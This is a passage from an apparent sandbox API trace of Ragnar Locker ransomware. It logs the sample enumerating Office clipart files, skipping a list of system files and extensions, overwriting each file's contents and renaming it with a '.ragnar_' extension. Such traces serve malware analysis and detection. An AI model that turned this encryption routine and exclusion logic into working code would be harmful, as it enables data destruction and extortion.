lpNumberOfBytesRead=0x1eaf34*=0x5880, lpOverlapped=0x0) returned 1 [0088.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.535] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5880, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.535] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5880, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5880, lpOverlapped=0x0) returned 1 [0088.535] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5880, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.535] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5880, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.536] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.536] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.536] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.536] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.536] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.536] GetProcessHeap () returned 0x580000 [0088.536] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.536] CloseHandle (hObject=0xf4) returned 1 [0088.536] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" [0088.536] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.ragnar_FD7BD9FC" [0088.536] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.537] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1 [0088.537] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.537] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00530_.WMF" | out: lpString1="NA00530_.WMF") returned="NA00530_.WMF" [0088.537] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF") returned=".WMF" [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="autorun.inf") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="boot.ini") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="bootfont.bin") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="bootsect.bak") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="bootmgr") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="bootmgr.efi") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="desktop.ini") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="iconcache.db") returned 1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="ntldr") returned -1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="ntuser.dat") returned -1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="ntuser.ini") returned -1 [0088.537] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="thumbs.db") returned -1 [0088.537] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.537] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.537] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.537] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.537] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.537] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.537] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf")) returned 0x20 [0088.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.538] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18300) returned 1 [0088.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4773, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.538] GetProcessHeap () returned 0x580000 [0088.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.538] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.540] VirtualAlloc (lpAddress=0x0, dwSize=0x477c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.540] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x477c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x477c, lpOverlapped=0x0) returned 1 [0088.541] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.541] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x477c, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.541] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x477c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x477c, lpOverlapped=0x0) returned 1 [0088.541] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x477c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.541] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x477c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.542] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.542] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.542] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.542] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.542] GetProcessHeap () returned 0x580000 [0088.542] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.542] CloseHandle (hObject=0xf4) returned 1 [0088.542] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" [0088.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.ragnar_FD7BD9FC" [0088.542] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.543] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00532_.WMF", cAlternateFileName="")) returned 1 [0088.543] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.543] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00532_.WMF" | out: lpString1="NA00532_.WMF") returned="NA00532_.WMF" [0088.543] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF") returned=".WMF" [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="autorun.inf") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="boot.ini") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="bootfont.bin") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="bootsect.bak") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="bootmgr") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="bootmgr.efi") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="desktop.ini") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="iconcache.db") returned 1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="ntldr") returned -1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="ntuser.dat") returned -1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="ntuser.ini") returned -1 [0088.543] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="thumbs.db") returned -1 [0088.543] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.543] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.543] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.543] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.543] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.543] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.543] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf")) returned 0x20 [0088.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.544] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1328) returned 1 [0088.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x527, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.544] GetProcessHeap () returned 0x580000 [0088.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.544] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.546] VirtualAlloc (lpAddress=0x0, dwSize=0x530, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.546] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x530, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x530, lpOverlapped=0x0) returned 1 [0088.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.546] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x530, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.546] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x530, lpOverlapped=0x0) returned 1 [0088.547] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x530, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.547] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x530, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.547] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.547] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.547] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.547] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.547] GetProcessHeap () returned 0x580000 [0088.547] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.547] CloseHandle (hObject=0xf4) returned 1 [0088.547] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" [0088.547] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.ragnar_FD7BD9FC" [0088.547] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00532_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00532_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.548] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34cb1d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34cb1d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00538_.WMF", cAlternateFileName="")) returned 1 [0088.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.548] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00538_.WMF" | out: lpString1="NA00538_.WMF") returned="NA00538_.WMF" [0088.548] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF") returned=".WMF" [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="autorun.inf") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="boot.ini") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="bootfont.bin") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="bootsect.bak") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="bootmgr") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="bootmgr.efi") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="desktop.ini") returned 1 [0088.548] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="iconcache.db") returned 1 [0088.549] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="ntldr") returned -1 [0088.549] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="ntuser.dat") returned -1 [0088.549] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.549] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="ntuser.ini") returned -1 [0088.549] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="thumbs.db") returned -1 [0088.549] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.549] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.549] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.549] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.549] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.549] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.549] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf")) returned 0x20 [0088.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.549] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32020) returned 1 [0088.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.549] GetProcessHeap () returned 0x580000 [0088.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.549] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.551] VirtualAlloc (lpAddress=0x0, dwSize=0x7d14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.551] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7d14, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7d14, lpOverlapped=0x0) returned 1 [0088.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d14, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.553] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7d14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7d14, lpOverlapped=0x0) returned 1 [0088.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7d14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.553] VirtualFree 